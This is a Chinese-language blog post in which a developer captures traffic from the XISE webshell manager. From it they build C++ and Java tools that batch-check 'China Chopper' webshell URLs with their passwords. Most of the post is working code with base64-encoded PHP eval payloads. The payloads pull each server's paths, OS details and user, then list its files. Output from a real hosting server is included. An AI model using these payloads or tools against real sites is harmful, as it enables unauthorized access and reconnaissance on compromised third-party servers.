前两天小组的一个刚毕业的运营小姑娘转正答辩,发现她正在做验证菜刀链接是否有效的人工验证工作,可是这个过程做的是个纯人工的,且不说干的枯燥无味,就是从成本上对于团队,对于公司都是损失的。。想想一个IT公司,一个做技术的团队,为什么不弄个自动化的工具做这个工作呢。虽然我们不是黑客牛人出身,但是可以私下巧妙的借用借用牛人的工具啊^_^。说干就干。小姑娘用的XISE这个工具,百度了一下其实还有其他工具,比如chopper等,既然手头有这个xise,就用吧,不过不能像小姑娘那样傻傻的用,我们得有点技术含量,是不是。。哎呀又开始废话了,不扯了,正式进入主题。
还是用xise,还要借助一个工具http analyzer,抓包看看到底这个工具怎么就能判断这是个菜刀链接呢。如下图,第一个是xise进入到网站后台了,第二个图是抓包看到的这个过程
其实发现,每次验证一个url链接,客户端都会先发一个报文,如上有三个参数,getid是第一个参数名,即密码,z0是经过base64编码过的,这个在构造post报文时可以固定(测试过程中,发现解码后的信息,不同报文的数据略有不同,但是发现并不影响结果),z9也是固定的,这么一来,其实整个post体只有密码getid这个是要准确的,其他都可以固定。这样一来离我们的目标就近了。这个报文服务端返回的结果里面是这段信心->|/home/smartste/public_html/wp-includes/js/tinymce/plugins/wpembed|/home/smartste/public_html||Linux bh-64.webhostbox.net 2.6.32-673.8.1.lve1.4.3.1.el6.x86_64 #1 SMP Thu May 5 16:06:47 EDT 2016 x86_64(smartste)|<- 看到了没有 有网站的目录结构了。。接下来的一个报文就是根据这个目录去查找下面的具体文件了,具体报文详情我就不解释了,大家自个儿试验一下。下面我们来编码实现一下。
c++版本的 发送post请求 用的libcurl url和密码是存放在文件里面,一行记录是url|密码这样的格式,下面就可以自动跑出这批url里面是菜刀连接的验证工作了(测试过程中发现curl在发送post数据超过1k字节时,需要加上头部信息expect:100-continue,这无意间又学习了一个知识,嘻嘻^_^),以下是主代码,关于curl、以及base64的那部分百度一堆,我就不贴啦!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
#include <string>
//#include "rapidjson/document.h"
//#include "rapidjson/stringbuffer.h"
//#include "rapidjson/istreamwrapper.h"
#include <fstream>
#include "httpClient.h"
#include <iostream>
#include <vector>
#include <boost/algorithm/string.hpp>
#include "ZBase64.h"
//using namespace rapidjson;
using namespace std;
#define FILENAME "curlposttest.log"
const static string strFirstPost = "=@eval/**/ ($_POST[z9]/**/ ($_POST[z0]));&z0=NjcxODc0O0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JHJvb3Q9aXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSk/JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTooaXNzZXQoJF9TRVJWRVJbJ0FQUExfUEhZU0lDQUxfUEFUSCddKT90cmltKCRfU0VSVkVSWydBUFBMX1BIWVNJQ0FMX1BBVEgnXSwiXFwiKTooaXNzZXQoJF9bJ1BBVEhfVFJBTlNMQVRFRCddKT9zdHJfcmVwbGFjZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSk6c3RyX3JlcGxhY2Uoc3RyX3JlcGxhY2UoIi8iLCJcXCIsaXNzZXQoJF9TRVJWRVJbIlBIUF9TRUxGIl0pPyRfU0VSVkVSWyJQSFBfU0VMRiJdOihpc3NldCgkX1NFUlZFUlsiVVJMIl0pPyRfU0VSVkVSWyJVUkwiXTokX1NFUlZFUlsiU0NSSVBUX05BTUUiXSkpLCIiLGlzc2V0KCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk/JF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdOiRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpKTskUj0ieyREfXwiLiRyb290LiJ8IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJ8IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk/JHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7&z9=BaSE64_dEcOdE";
const static string strSecondPost = "=@eval/**/ ($_POST[z9]/**/ ($_POST[z0]));&z0=MDE4MzExO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7JEQ9YmFzZTY0X2RlY29kZShnZXRfbWFnaWNfcXVvdGVzX2dwYygpP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCItMSIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9InwiLiRULiJ8Ii5AZmlsZXNpemUoJFApLiJ8Ii4kRS4iDQoiO2lmKEBpc19kaXIoJFApKSRNLj0kTi4iLyIuJFIuIlxyXG4iO2Vsc2UgJEwuPSROLiRSLiJcclxuIjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z9=BaSE64_dEcOdE";
int main(int argc,char *argv[])
{
if(argc != 2)//参数是包含url和密码的文件路径
return 1;
string strLine = "";
string strParam = "";
string strResponse = "";
string strPath = "";//网站的目录结构,由第一次post请求获取到,在第二次post请求中带上可以获取到该路径下的所有文件信息
vector<string> splitVec;
vector<string> splitResVec;
vector<string> headerVec;
deque<string> urlDeq;
httpClient cli;
headerVec.push_back("Content-Type:application/x-www-form-urlencoded");
headerVec.push_back("expect:100-continue");//curl在post数据量超过1K的时候必须加上该头部信息
ifstream infile(argv[1]);
if(!infile.is_open())
{
cout<<"open url file error"<<endl;
return 1;
}
int intSuccess = 0;
while(!infile.eof())
{
getline(infile,strLine);
if(strLine == "")
continue;
boost::split(splitVec,strLine,boost::is_any_of("|"));
strParam = splitVec[1] + strFirstPost;
bool ret = cli.request(splitVec[0],strResponse,strParam,headerVec,"POST",0);//发送
if(!ret)
{
cout<<cli.getErrorMsg()<<endl;
continue;
}
if(cli.getHttpStatus() != 200)
{
cout<<"code = "<<cli.getHttpStatus()<<endl;
continue;
}
cout<<"******************"<<splitVec[0]<<"***************************************************************************/"<<endl;
boost::split(splitResVec,strResponse,boost::is_any_of("|"));//取response信息,做下次报文发送准备
if(splitResVec.size() > 2 && strResponse.find("<!DOCTYPE html>") == string::npos)
{
cout<<strResponse<<endl;
intSuccess++;
urlDeq.push_back(strLine);
strPath = splitResVec[1];
strParam = splitVec[1] + strSecondPost+ "&z1=" + ZBase64::EncodeBase64(strPath);
// cout<<strParam<<endl;
ret = cli.request(splitVec[0],strResponse,strParam,headerVec,"POST",0);//发送
if(!ret)
cout<<cli.getErrorMsg()<<endl;
cout<<strResponse<<endl;
}
cout<<"*********************************************************************************************"<<endl;
}
infile.close();
string writeContent = "";
while(urlDeq.size()>0)
{
writeContent += urlDeq.front() + "
";
urlDeq.pop_front();
}
if(writeContent != "")
{
ofstream out("real.txt");
out<<writeContent.c_str()<<endl;
out.close();
}
cout<<"success num is "<<intSuccess<<endl;
}
java版本(毕业8年来没写过java,只能现学现用&_&)
HttpClientUtil.java
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
public class HttpClientUtil{
// Log log = new Log(this.getClass());//初始化日志类
/**
* @作用 使用urlconnection
* @param url
* @param Params
* @return
* @throws IOException
*/
public static String sendPost(String url,String Params)throws IOException{
OutputStreamWriter out = null;
BufferedReader reader = null;
String response="";
try {
URL httpUrl = null; //HTTP URL类 用这个类来创建连接
//创建URL
httpUrl = new URL(url);
//建立连接
HttpURLConnection conn = (HttpURLConnection) httpUrl.openConnection();
conn.setConnectTimeout(30000);
conn.setRequestMethod("POST");
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
// conn.setRequestProperty("connection", "keep-alive");
// conn.setUseCaches(false);//设置不要缓存
// conn.setInstanceFollowRedirects(true);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.connect();
//POST请求
out = new OutputStreamWriter(
conn.getOutputStream());
out.write(Params);
out.flush();
//读取响应
int retCode = conn.getResponseCode();
if(retCode!=200)
return "";
reader = new BufferedReader(new InputStreamReader(
conn.getInputStream()));
String lines;
while ((lines = reader.readLine()) != null) {
lines = new String(lines.getBytes(), "utf-8");
response+=lines;
}
reader.close();
// 断开连接
conn.disconnect();
// log.info(response.toString());
} catch (Exception e) {
System.out.println("发送 POST 请求出现异常!"+e);
e.printStackTrace();
}
//使用finally块来关闭输出流、输入流
finally{
try{
if(out!=null){
out.close();
}
if(reader!=null){
reader.close();
}
}
catch(IOException ex){
ex.printStackTrace();
}
}
return response;
}
}
Main.java
import java.io.File;
import java.io.FileInputStream;
import java.io.FilenameFilter;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.*;
import java.io.FileWriter;
import java.io.BufferedReader;
import java.io.FileReader;
import org.apache.commons.codec.binary.Base64;
public class Main {
private static final String UTF_8 = "UTF-8";
public static void main(String[] args) {
{
String subParam = "=@eval/**/ ($_POST[z9]/**/ ($_POST[z0]));&z0=NjcxODc0O0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JHJvb3Q9aXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSk/JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTooaXNzZXQoJF9TRVJWRVJbJ0FQUExfUEhZU0lDQUxfUEFUSCddKT90cmltKCRfU0VSVkVSWydBUFBMX1BIWVNJQ0FMX1BBVEgnXSwiXFwiKTooaXNzZXQoJF9bJ1BBVEhfVFJBTlNMQVRFRCddKT9zdHJfcmVwbGFjZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSk6c3RyX3JlcGxhY2Uoc3RyX3JlcGxhY2UoIi8iLCJcXCIsaXNzZXQoJF9TRVJWRVJbIlBIUF9TRUxGIl0pPyRfU0VSVkVSWyJQSFBfU0VMRiJdOihpc3NldCgkX1NFUlZFUlsiVVJMIl0pPyRfU0VSVkVSWyJVUkwiXTokX1NFUlZFUlsiU0NSSVBUX05BTUUiXSkpLCIiLGlzc2V0KCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk/JF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdOiRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpKTskUj0ieyREfXwiLiRyb290LiJ8IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJ8IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk/JHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7&z9=BaSE64_dEcOdE";
String subSecond = "=@eval/**/ ($_POST[z9]/**/ ($_POST[z0]));&z0=MDE4MzExO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7JEQ9YmFzZTY0X2RlY29kZShnZXRfbWFnaWNfcXVvdGVzX2dwYygpP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCItMSIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9InwiLiRULiJ8Ii5AZmlsZXNpemUoJFApLiJ8Ii4kRS4iDQoiO2lmKEBpc19kaXIoJFApKSRNLj0kTi4iLyIuJFIuIlxyXG4iO2Vsc2UgJEwuPSROLiRSLiJcclxuIjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z9=BaSE64_dEcOdE";
int cnt = 1;
try{
String file = "E:\java_code\HttpClientUtil\bin\1.txt";//1.txt";
FileReader fr = new FileReader(file);
BufferedReader br = new BufferedReader(fr);
String str;
while ((str = br.readLine()) != null){
String[] splitAddress=str.split("\|");
String url = splitAddress[0];
String param = splitAddress[1] + subParam;
try {
String strResponse = HttpClientUtil.sendPost(url,param);
if(strResponse.length() > 0){
System.out.println(strResponse);
String[] splitRes=strResponse.split("\|");
param = splitAddress[1] + subSecond + "&z1=" +new String(Base64.encodeBase64(splitRes[1].getBytes(UTF_8)));
strResponse = HttpClientUtil.sendPost(url,param);
System.out.println(strResponse);
cnt++;
}else{
}
} catch (Exception e) {
e.printStackTrace();
}
}
fr.close();
}catch(IOException e){
e.printStackTrace();
}
System.out.println(cnt);
}
}
}